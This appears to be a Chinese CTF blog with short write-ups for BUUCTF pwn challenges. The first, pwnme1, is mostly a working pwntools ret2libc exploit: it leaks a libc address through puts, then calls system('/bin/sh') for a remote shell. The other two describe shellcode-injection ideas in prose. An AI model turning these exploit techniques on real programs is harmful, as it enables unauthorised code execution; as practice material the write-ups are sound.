BUU-cmcc_pwnme1-WP
完成任务很开心。栈溢出水题,没什么可说的,直接exp吧
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh = remote("node3.buuoj.cn",29136)
elf = ELF("./pwnme1")
libc = ELF("./libcs/buu-32-libc.so")
pop_ebp_ret = 0x80485f3
payload = 'a' * 0xA4 + 'b' * 0x4 + p32(elf.symbols["puts"]) + p32(pop_ebp_ret) + p32(elf.got["puts"])
payload += p32(0x8048570)
sh.sendlineafter("Exit \n",'5')
sh.sendlineafter("fruit:",payload)
sh.recvuntil("..\n")
puts_addr = u32(sh.recv(4))
base = puts_addr - libc.symbols["puts"]
print hex(base)
payload = 'a' * 0xA4 + 'b' * 0x4 + p32(base + libc.symbols["system"]) + 'a' * 4 + p32(base + libc.search("/bin/sh").next())
sh.sendlineafter("Exit \n",'5')
sh.sendlineafter("fruit:",payload)
sh.interactive()
题目给了后门,但是buu上后门没法用,所以就老老实实leak吧。
…BUU-inndy_onepunch-WP
哈哈这道题其实没什么可说的,一看只有一次修改一个字节的机会,自然没什么思路

但是此题代码段可修改,所以我们修改一个jmp short
指令就可以让程序再次跳转到scanf
处了,这样就轻松地实现了多次利用。然后用同样地方法把shellcode
写入并执行就可以get shell
了。(关于jmp short
指令我曾经简单的在这篇文章中记录过)

BUU-starctf_2019_babyshell-WP
这道题目很有意思,我很喜欢
分析
流程很简单

这里读入一段,然后

进入这样一个判断,做的事就是对我们输入的串中的每个字母在

这个字符串里找匹配,如果每个都能匹配到,就执行我们输入的字符串(shellcode)。之前我也做的过类似的题目,那道是可见字符shellcode,比这道题要求松一些,也有现成的工具。遗憾的是,本题没有工具生成,不会,看wp。
…